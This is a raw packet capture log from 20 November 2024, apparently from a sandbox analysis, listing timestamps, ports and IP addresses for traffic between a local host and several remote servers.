Nov 20, 2024 08:09:23.097312927 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.097321987 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.097332954 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.097341061 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.097346067 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.097357988 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.097357988 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.097369909 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.097382069 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.097385883 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.097393990 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.097404957 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.097417116 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.097426891 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.097436905 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.097440958 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.097455978 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.097460985 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.097489119 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.100845098 CET	443	49818	162.159.61.3	192.168.2.5
Nov 20, 2024 08:09:23.101051092 CET	49818	443	192.168.2.5	162.159.61.3
Nov 20, 2024 08:09:23.101077080 CET	443	49818	162.159.61.3	192.168.2.5
Nov 20, 2024 08:09:23.102130890 CET	443	49818	162.159.61.3	192.168.2.5
Nov 20, 2024 08:09:23.102195978 CET	49818	443	192.168.2.5	162.159.61.3
Nov 20, 2024 08:09:23.103514910 CET	49818	443	192.168.2.5	162.159.61.3
Nov 20, 2024 08:09:23.103581905 CET	443	49818	162.159.61.3	192.168.2.5
Nov 20, 2024 08:09:23.112289906 CET	443	49815	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:23.112759113 CET	49815	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:23.112776995 CET	443	49815	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:23.113241911 CET	49815	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:23.113255978 CET	443	49815	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:23.118043900 CET	443	49819	162.159.61.3	192.168.2.5
Nov 20, 2024 08:09:23.118366957 CET	49819	443	192.168.2.5	162.159.61.3
Nov 20, 2024 08:09:23.118396997 CET	443	49819	162.159.61.3	192.168.2.5
Nov 20, 2024 08:09:23.120289087 CET	443	49819	162.159.61.3	192.168.2.5
Nov 20, 2024 08:09:23.120368958 CET	49819	443	192.168.2.5	162.159.61.3
Nov 20, 2024 08:09:23.120839119 CET	49819	443	192.168.2.5	162.159.61.3
Nov 20, 2024 08:09:23.120991945 CET	443	49819	162.159.61.3	192.168.2.5
Nov 20, 2024 08:09:23.137722015 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.137744904 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.137756109 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.137819052 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.137818098 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.137818098 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.137831926 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.137842894 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.137867928 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.137887955 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.137917042 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.137929916 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.137965918 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.138004065 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.138015032 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.138056993 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.138061047 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.138084888 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.138092041 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.138102055 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.138104916 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.138134956 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.138159990 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.138192892 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.138205051 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.138216972 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.138226986 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.138236046 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.138268948 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.138406038 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.138417959 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.138428926 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.138441086 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.138453007 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.138472080 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.138498068 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.138530970 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.138541937 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.138561010 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.138602018 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.138612986 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.138618946 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.138626099 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.138641119 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.138659000 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.138684034 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.138747931 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.138758898 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.138792992 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.138811111 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.138823032 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.138825893 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.138834000 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.138842106 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.138847113 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.138859987 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.138865948 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.138895988 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.139070988 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.139081955 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.139092922 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.139116049 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.139133930 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.139158964 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.139275074 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.139283895 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.139293909 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.139302015 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.139307022 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.139328957 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.139331102 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.139342070 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.139342070 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.139367104 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.139400959 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.139499903 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.139517069 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.139528990 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.139550924 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.139563084 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.139575005 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.139612913 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.139628887 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.139642000 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.139652967 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.139662981 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.139673948 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.139705896 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.171981096 CET	443	49817	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:23.172046900 CET	49817	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:23.178338051 CET	443	49814	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:23.178420067 CET	443	49814	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:23.178596020 CET	49814	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:23.178868055 CET	49814	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:23.178884029 CET	443	49814	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:23.180568933 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.180589914 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.180599928 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.180639029 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.180699110 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.180708885 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.180721045 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.180732965 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.180743933 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.180757999 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.180803061 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.180824995 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.180867910 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.180952072 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.180963039 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.180974007 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.180985928 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.180990934 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.180996895 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.181010962 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.181020975 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.181046009 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.181123972 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.181160927 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.181446075 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.181489944 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.181493998 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.181500912 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.181524992 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.181540966 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.181551933 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.181562901 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.181595087 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.181606054 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.181617975 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.181662083 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.181736946 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.181747913 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.181759119 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.181776047 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.181797981 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.181828022 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.181838989 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.181849957 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.181863070 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.181890965 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.181994915 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.182008982 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.182018995 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.182029963 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.182040930 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.182044029 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.182051897 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.182065010 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.182075977 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.182090998 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.182106972 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.182235003 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.182246923 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.182282925 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.182415009 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.182425976 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.182435989 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.182447910 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.182457924 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.182459116 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.182468891 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.182481050 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.182488918 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.182492971 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.182506084 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.182516098 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.182521105 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.182528019 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.182538033 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.182564020 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.182734013 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.182753086 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.182764053 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.182770967 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.182796001 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.182996035 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.183007002 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.183017015 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.183027029 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.183037043 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.183038950 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.183048010 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.183058977 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.183069944 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.183079958 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.183084011 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.183092117 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.183099985 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.183103085 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.183115005 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.183120966 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.183125019 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.183135986 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.183140993 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.183147907 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.183161974 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.183161974 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.183176994 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.183218956 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.183618069 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.183629036 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.183639050 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.183649063 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.183659077 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.183660030 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.183671951 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.183684111 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.183695078 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.183697939 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.183706999 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.183717966 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.183728933 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.183732986 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.183751106 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.183765888 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.186042070 CET	49824	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:23.186074018 CET	443	49824	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:23.186168909 CET	49824	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:23.189660072 CET	443	49813	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:23.189743042 CET	443	49813	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:23.189817905 CET	49813	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:23.191425085 CET	49824	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:23.191440105 CET	443	49824	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:23.191740990 CET	49813	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:23.191740990 CET	49813	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:23.191752911 CET	443	49813	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:23.191767931 CET	443	49813	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:23.197864056 CET	443	49816	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:23.197930098 CET	443	49816	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:23.198031902 CET	49816	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:23.198261976 CET	49825	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:23.198293924 CET	443	49825	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:23.198350906 CET	49825	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:23.198430061 CET	49816	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:23.198453903 CET	443	49816	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:23.198467970 CET	49816	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:23.198473930 CET	443	49816	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:23.198487043 CET	49825	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:23.198499918 CET	443	49825	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:23.203491926 CET	49826	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:23.203511000 CET	443	49826	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:23.203567982 CET	49826	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:23.204024076 CET	49826	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:23.204031944 CET	443	49826	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:23.217813969 CET	443	49815	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:23.217875004 CET	443	49815	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:23.217987061 CET	49815	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:23.219497919 CET	49815	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:23.219497919 CET	49815	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:23.219528913 CET	443	49815	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:23.219541073 CET	443	49815	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:23.224093914 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.224176884 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.224188089 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.224198103 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.224205971 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.224210024 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.224258900 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.224258900 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.224333048 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.224354029 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.224364042 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.224385023 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.224417925 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.225159883 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.225171089 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.225209951 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.225238085 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.225351095 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.225362062 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.225373030 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.225383043 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.225394011 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.225394964 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.225425005 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.225631952 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.225642920 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.225652933 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.225662947 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.225673914 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.225675106 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.225684881 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.225693941 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.225697041 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.225713015 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.225720882 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.225724936 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.225738049 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.225739002 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.225765944 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.225789070 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.225958109 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.225996017 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.226188898 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.226201057 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.226212025 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.226222992 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.226224899 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.226233959 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.226242065 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.226246119 CET	80	49765	185.215.113.206	192.168.2.5
